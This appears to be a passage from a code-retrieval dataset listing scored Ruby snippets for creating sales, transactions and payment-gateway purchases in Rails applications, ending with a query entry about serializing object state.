newTransaction(amount, category, desc, merch_trans_id, \n merch_prod_id, redirect_uri, channel='MOBILE_WEB')\n channel = channel\n\n payload = {\n :Amount => amount,\n :Category => category.to_i,\n :Description => desc,\n :MerchantTransactionId => merch_trans_id,\n :MerchantProductId => merch_prod_id,\n :MerchantPaymentRedirectUrl => redirect_uri,\n :Channel => channel,\n }.to_json\n\n response = signPayload(payload)\n\n from_json = JSON.parse response\n\n parameters = \"?Signature=#{from_json['Signature']}&SignedPaymentDetail=#{from_json['SignedDocument']}&clientid=#{@client.id}\"\n\n \"#{@fqdn}#{SERVICE_URL::Transactions}#{parameters}\"\n end", "title": "" }, { "docid": "a47c7610f3894398dffc84b88994f9bb", "score": "0.6131755", "text": "def create_transaction(money_in_cents, source, gateway_options)\n QuickpayLogger.debug(\"About to create payment for order #{gateway_options[:order_id]}\")\n\n begin\n quickpay_payment = ::Quickpay::Payment.create(\n prepare_payment_params(money_in_cents, source, gateway_options)\n )\n QuickpayLogger.debug(\"Payment #{quickpay_payment.id} created for order #{gateway_options[:order_id]}\")\n\n source.status = quickpay_payment.status\n source.payment_id = quickpay_payment.id\n source.payment_url = quickpay_payment.payment_url\n source.save!\n ActiveMerchant::Billing::Response.new(true, 'Payment created')\n rescue Quickpay::Exception => e\n QuickpayLogger.debug(\"Could not create payment for order #{gateway_options[:order_id]}: #{e.message}\")\n ActiveMerchant::Billing::Response.new(false, \"Payment could not be created: #{e.message}\")\n end\n end", "title": "" }, { "docid": "59fcd37b078ed6daf72a31b877f2237f", "score": "0.61316985", "text": "def create_test_transaction\n transaction = TaxCloud::Transaction.new(\n customer_id: SecureRandom.uuid,\n cart_id: SecureRandom.uuid,\n origin: create_test_origin,\n destination: create_test_destination\n )\n\n transaction.cart_items << TaxCloud::CartItem.new(\n index: 0,\n item_id: 'SKU-100',\n tic: TaxCloud::TaxCodes::GENERAL,\n price: 10.00,\n quantity: 1\n )\n\n transaction\nend", "title": "" }, { "docid": "a60b3a68600f3b1b886c617fd77acc7e", "score": "0.61285454", "text": "def purchase(product)\n Transaction.new(self, product)\n end", "title": "" }, { "docid": "9d7e7b8dbb596f8938e6314951c0897d", "score": "0.61220044", "text": "def create\n Sale.transaction do\n @sale = Sale.create(sale_params)\n session[:cart].each do |item_id|\n SaleItem.create(sale_id: @sale.id, item_id: item_id)\n item = Item.find(item_id)\n item.status = 1\n item.save\n end if session[:cart]\n end\n session[:cart] = nil if @sale.id\n respond_to do |format|\n if @sale.id\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b46689053b483b1b5c7bea9c8c91663d", "score": "0.61030775", "text": "def sale\n if payment_gateway_configuration.nil?\n save_custom_response({ message: \"Payment gateway not found.\", code: Settings.error_codes.not_found })\n elsif amount.to_f == 0.0\n save_custom_response({ message: \"Transaction success. Amount $0.0\", code: Settings.error_codes.success }, true)\n elsif self.token.nil? or self.token.size < 4 \n save_custom_response({ code: Settings.error_codes.credit_card_blank_without_grace, message: \"Credit card is blank we wont bill\" })\n else\n load_gateway\n purchase_response = nil\n time_elapsed = Benchmark.ms do\n purchase_response = @gateway.purchase(amount_to_send, credit_card_token, @options)\n end\n logger.info \"AM::Sale::Answer #{gateway} took #{time_elapsed}ms\"\n save_response(purchase_response)\n end\n end", "title": "" }, { "docid": "acb6aa7b5cf9a3233939c72029416ed7", "score": "0.61019087", "text": "def create_deposit(options, timestamp=nil)\n post '/transactions/deposit', timestamp, options\n end", "title": "" }, { "docid": "c46b3dd15e293c112c8daaf8daad2a51", "score": "0.6094912", "text": "def create\n @transaction = @account.transactions.build(transaction_params)\n\n if @transaction.save\n redirect_to account_transactions_path, notice: 'Transaction was successfully created.'\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "c8f5e7d6207fa36961e49e551b489fa3", "score": "0.6075984", "text": "def create_successful_transaction\n\t\tcreate_transaction\n\t\t@transaction.status = \"Succeed\"\n\t\t@transaction.save\n\t\tTransactionAgent.new(@transaction, same_bank?).send_money\n\t\t@transaction\n\tend", "title": "" }, { "docid": "9b4b1712471cf0352ef0d0074dfc8973", "score": "0.606915", "text": "def create_payment_transaction\n puts \"Running payment_process.create_payment_transaction\"\n @payment_transaction = AccountTransaction.create! do |t|\n \tt.occurred_on = @date\n \tt.entry_type = \"payment\"\n \tt.journal_id = @id\n \tt.journal_type = \"Payment\"\n t.source_id = @id\n t.source_type = \"Payment\"\n \tt.account_id = @from\n \tt.credit = @amount\n end\n end", "title": "" }, { "docid": "f4123c5589618d51e7929e1a1b060e18", "score": "0.6060173", "text": "def new_transaction\n @new_transaction = DepositeAccount.new\n end", "title": "" }, { "docid": "f265089e5f241fc972ef104dba68280b", "score": "0.605233", "text": "def purchase\n @amount = 1.00\n # @amount = @@amount\n \n \n # @a_prod_1 = @@a_prod_1\n\n # @publisher_id = @@publisher_id\n \n # @a_prod_length = @@a_prod_length\n\n gon.a_prod = @@a_prod\n \n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n \n end", "title": "" }, { "docid": "32d08cfce90af335d0f3ee30331edaf6", "score": "0.604969", "text": "def purchase(product)\n Transaction.new(self, product)\n end", "title": "" }, { "docid": "53325dff4c6b71ffa8025ee78424f8df", "score": "0.6039717", "text": "def create\n @sale = Sale.new(params[:sale])\n @sale.user = @user\n if @sale.save\n flash[:notice] = \"La venta ha sido creada con &eacute;xito\"\n redirect_to :controller => :items_management,\n :action => :index,\n :sale_id => @sale.id,\n :user_id => @user.id\n else\n flash[:error] = \"La venta no ha podido ser creada, repasa la informaci&oacute;n que falta\"\n render :new\n end\n end", "title": "" }, { "docid": "d13491f8de8f6b8daf16bbb9ae9c9cb7", "score": "0.6038749", "text": "def create\n @sale = Sale.new(params[:sale])\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to(@sale, :notice => 'Sale was successfully created.') }\n format.xml { render :xml => @sale, :status => :created, :location => @sale }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "490087da9e0aa9fa5d5d812e68c9de10", "score": "0.60259306", "text": "def create\n x = add(params[:sale])\n @sale = current_user.sales.new(x)\n if @sale.save\n @sale.users << current_user\n @sale.books << Book.find(@sale.book_id)\n @sale.owner_id = current_user.id\n @sale.save\n flash[:success] = \"Post created!\"\n redirect_to @sale\n else\n render 'new'\n end\n \n end", "title": "" }, { "docid": "373659ec5203c809d7679bf3d2973d9a", "score": "0.6021066", "text": "def purchase(item, quantity = 1, sell_or_buy = 'sell', discount = 0)\n Transaction.new(self, item, quantity, sell_or_buy, discount)\n end", "title": "" }, { "docid": "79fbc7f4ac15d1c115ec4a2e1a9ea4ad", "score": "0.60205483", "text": "def create\n @sale = Sale.new(sale_params.merge(user_id: current_user.id))\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "644eac1fdd2665ae5bf5b7c688f56007", "score": "0.6015579", "text": "def purchase(money, credit_card, options = {})\n post = {}\n\n add_amount(post, money, DISPATCH_NOW, options)\n add_credit_card(post, credit_card)\n add_address(post, options)\n add_invoice(post, options)\n add_purchase_details(post)\n\n commit(post)\n end", "title": "" }, { "docid": "1f3db4e247f81cdf8fa606ab03dffb29", "score": "0.60148495", "text": "def generate_ledger_transaction\n if state_changed? && state_was == STATES.key(:draft).to_i && generated?\n\n transaction_label = I18n.t('ledger_transactions.auto_generated.invoice', invoice_identifier: identifier, organization_identifier: organization.identifier)\n debit_label = I18n.t('ledger_transactions.auto_generated.invoice_debit', :invoice_identifier => identifier)\n\n transaction = instance.ledger_transactions.build(:transacted_on => Date.today, :description => transaction_label)\n transaction.locked = true\n\n transaction.lines.build(:account => organization.organization_account, :description => debit_label, :debit => total_cost)\n\n # Add a credit line for each line on the invoice\n lines.each do |line|\n transaction.lines.build(:account => line.product.account, :description => line.product.name, :credit => line.total_cost)\n end\n\n transaction.save!\n\n end\n end", "title": "" }, { "docid": "53c7b6db6a1abb3698a918e3e71591f8", "score": "0.60143954", "text": "def purchase transaction, token\n _purchase Transaction.new(transaction), token\n end", "title": "" }, { "docid": "a6b93db1d2425023f194f53e75e293c9", "score": "0.6013074", "text": "def create_transaction(model, options={}) path = \"/api/v2/transactions/create\"\n post(path, model, options, AvaTax::VERSION) end", "title": "" }, { "docid": "5e8ff98c5249caf82975878e73d0cfaa", "score": "0.60077035", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8ff98c5249caf82975878e73d0cfaa", "score": "0.60077035", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8ff98c5249caf82975878e73d0cfaa", "score": "0.60077035", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8ff98c5249caf82975878e73d0cfaa", "score": "0.60077035", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8ff98c5249caf82975878e73d0cfaa", "score": "0.60077035", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8ff98c5249caf82975878e73d0cfaa", "score": "0.60077035", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c95d8cb928e912600e473d3c4060b3e", "score": "0.60013145", "text": "def create_transaction(amount, creditcard, transaction_type, options = {})\n creditcard.save if creditcard\n\n transaction_options = {\n type: transaction_type\n }.update(options)\n\n if amount\n amount = \"%.2f\" % (amount / 100.0) # This gateway requires formated decimal, not cents\n transaction_options.update({\n amount: amount\n })\n end\n\n if creditcard\n transaction_options.update({\n customer_profile_id: creditcard.gateway_customer_profile_id,\n customer_payment_profile_id: creditcard.gateway_payment_profile_id\n })\n end\n\n logger.debug(\"\\nAuthorize Net CIM Request\")\n logger.debug(\" transaction_options: #{transaction_options.inspect}\")\n t = cim_gateway.create_customer_profile_transaction(transaction: transaction_options)\n logger.debug(\"\\nAuthorize Net CIM Response\")\n logger.debug(\" response: #{t.inspect}\\n\")\n t\n end", "title": "" }, { "docid": "d9dc0ee7270aa54032e9c787b4a0152a", "score": "0.59739345", "text": "def create\n @transaction = current_account.transactions.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html {\n redirect_to_target_or_default(\n account_transaction_path(current_account, @transaction),\n notice: 'Transaction was successfully created.' )\n }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48ea716329725dd1058b641213e0d284", "score": "0.59679025", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: \"Sale was successfully created.\" }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9c72d478fb96def7b5e187454a59b37", "score": "0.5965876", "text": "def purchase(product)\n transaction = Transaction.new(self, product)\n end", "title": "" }, { "docid": "40d42fa5d46bfb8f35c9c04bdbf1440a", "score": "0.59637916", "text": "def create_new_payment\n @transaction = Transaction.new(params[:transaction])\n\n @transaction.amount = @transaction.amount * -1 if @transaction.amount >= 0\n @transaction.transaction_at = Time.now\n\n if @transaction.save\n flash[:notice] = \"La transacción ha sido creada\"\n redirect_to [:admin, @transaction]\n else\n flash.now[:error] = \"Hubo un error al intentar crear el pago\"\n render action: :new_payment\n end\n end", "title": "" }, { "docid": "c4d9c31073e69754c158f50e32a96bc7", "score": "0.5951187", "text": "def purchase(money, payment_source, options = {})\n post = {}\n action = options[:action] || 'SAL'\n add_invoice(post, options)\n add_payment_source(post, payment_source, options)\n add_address(post, payment_source, options)\n add_customer_data(post, options)\n add_money(post, money, options)\n commit(action, post)\n end", "title": "" }, { "docid": "22a9add7cf742f254949930430ddd9ec", "score": "0.594951", "text": "def purchase(money, creditcard, options = {})\n commit(:purchase, money, options.merge(credit_card: creditcard))\n end", "title": "" }, { "docid": "dd404d5d1e93042dd2fbfe70b78ce50f", "score": "0.5948966", "text": "def create\n\n @transaction = Transaction.new()\n @transaction.deliverytime = params[:transaction][:deliverytime]\n @transaction.deliverydate = params[:transaction][:deliverydate]\n @transaction.totalserving = params[:transaction][:totalserving]\n @transaction.address1 = params[:transaction][:address1]\n @transaction.address2 = params[:transaction][:address2]\n\n @user = User.find(current_user.id)\n\n @cuisine_list = [\"Western\", \"Indian\", \"Malay\",\"Chinese\"]\n\n @recipe = Recipe.find(session[:curr_recipe_id])\n\n @transaction.totalcost =\n (@recipe.costperserving * @transaction.totalserving.to_f)\n\n @transaction.user_id = @user.id\n @transaction.recipe_id = @recipe.id\n\n @user.save\n @transaction.save\n\n # if transaction is successfully saved. it is redirected to its own page with the paypal action\n if @transaction.save\n redirect_to :action=>\"paypal\", :controller=>\"transactions\", :transaction_id=>@transaction.id\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "6c85d4a75c74b88dba25484f8fedb54f", "score": "0.59487224", "text": "def build_transaction typ = nil\n\t\to = Sale.new(attributes.slice(*%w{division customer_id template_id cost_center}) + {type: typ})\n\t\tattr = {}\n\t\tif o.refund?\n\t\t\tattr = {\n\t\t\t\tprevious_id: id,\n\t\t\t\tpay_method: pay_cc? ? 'CC' : 'Check',\n\t\t\t\tcc_option: 'Void',\n\t\t\t\tcc_previous_id: pay_cc? ? id : nil,\n\t\t\t\tamount: amount,\n\t\t\t\tnew_refund_items: new_details.where('amount != 0').map { |d| {\n\t\t\t\t\tprevious_id: d.id,\n\t\t\t\t\trefunding: true,\n\t\t\t\t\tcost_center: d.cost_center,\n\t\t\t\t\tdebit_ledger: d.credit_ledger,\n\t\t\t\t\tamount: d.amount\n\t\t\t\t}}\n\t\t\t}\n\t\telsif o.payment? || o.ar_refund?\n\t\t\tunpaid = sale_details.needs_payment\n\t\t\tattr = {\n\t\t\t\tamount: unpaid.sum { |d| (d.payment? ? -1 : 1) * d.amount } * (o.ar_refund? ? -1 : 1),\n\t\t\t\tnew_payment_for_ids: unpaid.map(&:id)\n\t\t\t}\n\t\t\tattr.credit_ledger = debit_ledger if o.payment?\n\t\t\tattr.debit_ledger = credit_ledger if o.ar_refund?\n\t\telse\n\t\t\tattr = {}\n\t\tend\n\t\to.num = o.template&.num(o.type)\n\t\to.attributes = attr\n\t\to\n\tend", "title": "" }, { "docid": "2ff2401c4dc9322d48a4c97e277d37d2", "score": "0.59414625", "text": "def purchase(money, payment, options={})\n post = {}\n add_invoice(post, options)\n add_payment_data(post, options)\n add_payment(post, payment)\n add_amount(post, money)\n\n post[:capture] = true\n\n commit('sale', post)\n end", "title": "" }, { "docid": "226d3e6bfd3226c29a7487795c49b922", "score": "0.5938526", "text": "def create\n @transaction = current_account.transactions.build(transaction_params)\n # Set's values for transaction balance\n @transaction.initial_bal = current_account.balance\n @transaction.final_bal = @transaction.initial_bal - @transaction.amount\n\n respond_to do |format|\n if @transaction.save\n # Updates the balance of the account to reflect the transfer\n current_account.balance = @transaction.final_bal\n current_account.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "925b894a03efa76b9fef171c2dc0bcbe", "score": "0.59305125", "text": "def create\n @sale = Sale.new(params[:sale])\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render json: @sale, status: :created, location: @sale }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60a025d537bc65414cf04048a2b160c0", "score": "0.5924514", "text": "def add_transaction(description, amount)\n @transactions.push(description: description, amount: amount)\n end", "title": "" }, { "docid": "2be2c710e6b026d441d794abce47d989", "score": "0.5923356", "text": "def create\n @sale = Sale.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sale }\n else\n format.html { render action: 'new' }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ee345612a511e79eef4ff56c5064201", "score": "0.5921251", "text": "def create\n @sale = Sale.new(sale_params)\n @sale.address = @sale.street + ', ' + @sale.city + ', ' + @sale.state\n @user = current_user\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e4cacd8ea601e23ed9ed070b2f21f74", "score": "0.59212494", "text": "def purchase(money, payment_object, options = {})\n\tpost = {}\n\tif payment_object != nil && payment_object.class() != String\n\t payment_object.class() == ActiveMerchant::Billing::Check ? \n\t add_check(post, payment_object) :\n\t add_creditcard(post, payment_object) \n\telse\n\t post[:RRNO] = payment_object\n\tend\n\tadd_invoice(post, options)\n add_address(post, options)\n add_customer_data(post, options)\n\tif options[:rebill] != nil\n\t post[:REBILLING] = '1'\n\t post[:REB_AMOUNT] = options[:rebill][:rebill_amount]\n post[:REB_FIRST_DATE] = options[:rebill][:rebill_start_date]\n post[:REB_EXPR] = options[:rebill][:rebill_expression]\n post[:REB_CYCLES] = options[:rebill][:rebill_cycles]\n end\n\tpost[:TRANSACTION_TYPE] = 'SALE'\n\tpost[:MODE] = $options[:transaction_mode]\n\tpost[:TAMPER_PROOF_SEAL] = calc_tps(amount(money), post)\n commit(money, post)\n end", "title": "" }, { "docid": "718d3cf2fbcfde341d9389102c7cda31", "score": "0.59186137", "text": "def purchase\n response = EXPRESS_GATEWAY.purchase(price_in_cents, express_purchase_options)\n transactions.create!(action: \"purchase\", amount: price_in_cents, response: response)\n cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end", "title": "" }, { "docid": "6a479d073744a29d4f1ff805ac0163f7", "score": "0.5896978", "text": "def purchase(money, creditcard, options = {})\n commit(build_purchase(money, creditcard, options))\n end", "title": "" }, { "docid": "dffb50f5432682f7fff6ad9a70575db2", "score": "0.58953625", "text": "def create_catalog_sale(opts = {})\n data, _status_code, _headers = create_catalog_sale_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "0483f6ca22fd940c7e9c35eb54c48df6", "score": "0.58857816", "text": "def create_simple_transaction(\n name, date, account, amount, commodity, balance_account, is_credit, memo)\n main = Entry.new(\n account: account,\n amount: Money.new(amount, commodity))\n balance = Entry.new(\n account: balance_account,\n amount: Money.new(-amount, commodity))\n entries = is_credit ? [balance, main] : [main, balance]\n Transaction.new(name: name, date: date, entries: entries, memo: memo)\n end", "title": "" }, { "docid": "f5a26c35f91f04fb682f5e61f74f385e", "score": "0.58769995", "text": "def purchase\r\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\r\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\r\n cart.update_attribute(:purchased_at, Time.now) if response.success?\r\n response.success?\r\n end", "title": "" }, { "docid": "c2f68fc995a22d735fad8624defa61ec", "score": "0.5873709", "text": "def store(credit_card, options = {})\n create_customer(options)\n end", "title": "" }, { "docid": "54766fdc741570de6ad33bb2ec624f9a", "score": "0.5870525", "text": "def purchase(product)\n\t\tnew_purchase = Transaction.new(self, product)\n\tend", "title": "" }, { "docid": "f1a923c6b131224fc70b9543c4188ee8", "score": "0.5868223", "text": "def create_transaction( trans_date, trans_account, trans_value )\r\n { date: trans_date, account: trans_account, value: trans_value }\r\n\r\n end", "title": "" }, { "docid": "8d3a6db3172e3093d6e93805f295dad5", "score": "0.58658016", "text": "def create\n @sale = Sale.new(:checkout_user => current_user, :status => 'Adding to Cart')\n @sale.save\n\n respond_to do |format|\n format.html { redirect_to edit_sale_path(@sale) }\n format.json { render json: @sale}\n end\n end", "title": "" }, { "docid": "2e25bdb04ff61932a513d3304d0e0d6c", "score": "0.58559966", "text": "def create\n if params[:order][:product_id].present?\n params[:order][:amount] = sprintf \"%.2f\", params[:order][:amount].to_f\n payment = PayPal::SDK::REST::Payment.new create_new_payment_from(params[:order]) \n begin\n payment.create\n @order = Order.new(order_params)\n sale = payment.transactions[0].related_resources[0].sale\n @order.assign_attributes({\n payment_method: payment.payer.payment_method,\n sale_id: sale.id,\n status: sale.state,\n amount: payment.transactions[0].amount.total,\n description: payment.transactions[0].description\n })\n @order.save\n redirect_to root_path\n rescue\n redirect_back(fallback_location: root_path)\n end\n else\n redirect_back(fallback_location: root_path)\n end\n end", "title": "" }, { "docid": "2583b0293b0f62d49bfe8da50b71f623", "score": "0.58502007", "text": "def create\n @sale = Sale.new(sale_params)\n\n customer = Customer.new(customer_params)\n @sale.fecha = Time.new #ponemos la fecha del sistema\n #al recibir los datos, comprobar si existe el cliente, entonces se pueden actualizar sus datos\n\n # si no existe el cliente, registrar uno nuevo\n if @sale.customer_id.nil?\n @sale.customer = customer\n else\n @sale.customer.nombreCliente = customer.nombreCliente ##si el cliente ya existe, se actualiza al nuevo valor recibido\n @sale.customer.direccion = customer.direccion\n @sale.customer.telefono = customer.telefono\n @sale.customer.correo = customer.correo\n @sale.customer.facebook = customer.facebook\n @sale.customer.linkedln = customer.linkedln\n @sale.customer.RFC = customer.RFC\n end\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4de2225e916f2324d07e391880c12e7", "score": "0.58466023", "text": "def purchase(money, credit_card, options = {})\n if credit_card.respond_to?('number')\n requires!(options, :email) unless options[:account_uri]\n end\n\n post = {}\n post[:amount] = money\n post[:description] = options[:description]\n\n create_or_find_account(post, options)\n add_credit_card(post, credit_card, options)\n add_address(credit_card, options)\n\n create_transaction(:post, @debits_uri, post)\n rescue Error => ex\n failed_response(ex.response)\n end", "title": "" }, { "docid": "9a3ef9cb49578292fc9dd619dbbdff6a", "score": "0.5846433", "text": "def create\n @transaction = current_user.transactions.build(transaction_params)\n @transaction.save\n end", "title": "" }, { "docid": "d7e23991fe3f7cfe74fb132c1df0bcc3", "score": "0.58420116", "text": "def create\n @transaction = @client.transactions.new(params[:transaction])\n @transaction.user = current_user\n \n if @transaction.cc_number.blank? and @transaction.amount.blank?\n flash[:error] = \"You must provide a card number and amount to charge.\"\n render :action => \"new\" and return\n end\n \n code_ok, message = @transaction.ms_approval\n\n respond_to do |format|\n if code_ok and @transaction.save\n format.html { redirect_to(client_transaction_path(@client, @transaction), :notice => 'Transaction was successfully Approved.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n flash[:error] = message\n format.html { render :action => \"new\", :error => message }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7654f9ca8d93f9f0247741a7d55a00ca", "score": "0.5840825", "text": "def create\n # TODO: connect with stripe \n # @transaction = Transaction.new(transaction_params)\n cc_number = params[:cc_number]\n cc_amount = params[:cc_amount].to_f\n\n @reservation = Reservation.find(params[:reservation_id])\n\n if (cc_number.size == 0) || (cc_amount == 0)\n redirect_to reservation_guests_path(@reservation)\n else\n # Create the Transaction\n @transaction = @reservation.transactions.new\n\n @transaction.description = \"Payment Using Card \" + cc_number.reverse[0..3].reverse\n @transaction.amount = cc_amount\n\n if @transaction.save\n # Create the Guest only if there are no other guests\n if (@reservation.guests.count == 0)\n @guest = @reservation.guests.new\n @guest.first_name = params[:cc_first_name]\n @guest.last_name = params[:cc_last_name]\n @guest.save\n end\n \n redirect_to reservation_guests_path(@transaction.reservation_id)\n else\n render :index\n end\n end \n end", "title": "" }, { "docid": "ae8fb9e734e849addf672f36f2ececce", "score": "0.58389", "text": "def create\n Sale.transaction do \n begin\n @sales = [*Sale.create!(sale_params)]\n render json: { data: @sales }, status: :created\n rescue ActiveRecord::RecordInvalid => invalid\n render json: { errors: invalid.record.errors.full_messages }, status: :unprocessable_entity \n end\n end\n end", "title": "" }, { "docid": "f0645b4bd1960e0ba7c83f563cf5f8be", "score": "0.5833039", "text": "def create\n creditcard = @payment_presenter.creditcard\n creditcard.address = @payment_presenter.address\n creditcard.order = @order\n begin\n creditcard.purchase(params[:amount])\n rescue Spree::GatewayError => ge\n flash.now[:error] = \"Authorization Error: #{ge.message}\"\n render :action => \"new\" and return \n end\n @order.creditcards << creditcard\n # TODO - eventually the amount should be passed as a parameter\n @order.save\n redirect_to admin_order_payments_url(@order)\n end", "title": "" }, { "docid": "f93b974e97f24ce3d277af73e0c3aad1", "score": "0.5811937", "text": "def create\n @transaction = current_user.transactions.build(transaction_params)\n\n if @transaction.save\n redirect_to @transaction\n else\n render :new\n end\n end", "title": "" }, { "docid": "e562309da67808c3f80c74cdb22dd0f2", "score": "0.58110946", "text": "def new_payment\n @transaction = Transaction.new\n end", "title": "" }, { "docid": "f1eb2df0fa7db8bf0fc0326c75cd874e", "score": "0.58087564", "text": "def create\n @sale = Sale.new(params[:sale])\n\n respond_to do |format|\n if @sale.save\n format.html { redirect_to back_url, notice: t('sales.create.created', info: @sale.info) }\n format.json { render json: @sale, status: :created, location: @sale }\n else\n format.html do\n @page_title = t('actions.new_sale')\n render action: \"new\"\n end\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0eaa2d51e59e01a87ee154706d78768", "score": "0.5803112", "text": "def purchase(money, creditcard, options = {})\n post = {}\n\n add_amount(post, money, options)\n add_customer_data(post, options)\n add_invoice(post, options)\n add_creditcard(post, creditcard)\n add_address(post, creditcard, options)\n add_capture(post, options)\n add_metadata(post, options)\n add_3ds(post, options)\n\n commit(:post, 'charges', post, options)\n end", "title": "" }, { "docid": "85f4d35af7ecdfce5a9dbf20cc814481", "score": "0.57987344", "text": "def create_invest(amount, product, user)\n op = AccountOperation.new(:op_name => \"invest\", :op_action => \"join\", :op_amount => amount, :operator => \"system\",:uinfo_id => user.user_info.id,\n :op_resource_name => product.deposit_number, :op_resource_id => product.id)\n op.execute_transaction\n end", "title": "" }, { "docid": "8498d2ad0f78786564be7d3956b82e96", "score": "0.5793835", "text": "def create\n account = Account.find(params[:account_id])\n @transaction = account.transactions.create(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to account_transactions_path(account), notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: [@transaction.account, @transaction] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
9a08e7b4adc1a90a6e4455a07ab2e599
save the state of the object (dump state) Should return a PlainOld Ruby Object (likely Array or Hash as the outer container) (basically, something that could be trivially saved as YAML)
[ { "docid": "cab3d339488467569328c007927bad09", "score": "0.0", "text": "def serialize(save_directory)\n\t\t# [\n\t\t# \t# @live_wrapper,\n\t\t# \t@input_test,\n\t\t# ].each do |dynamic_obj|\n\t\t# \tdynamic_obj.serialize save_directory\n\t\t# end\n\tend", "title": "" } ]
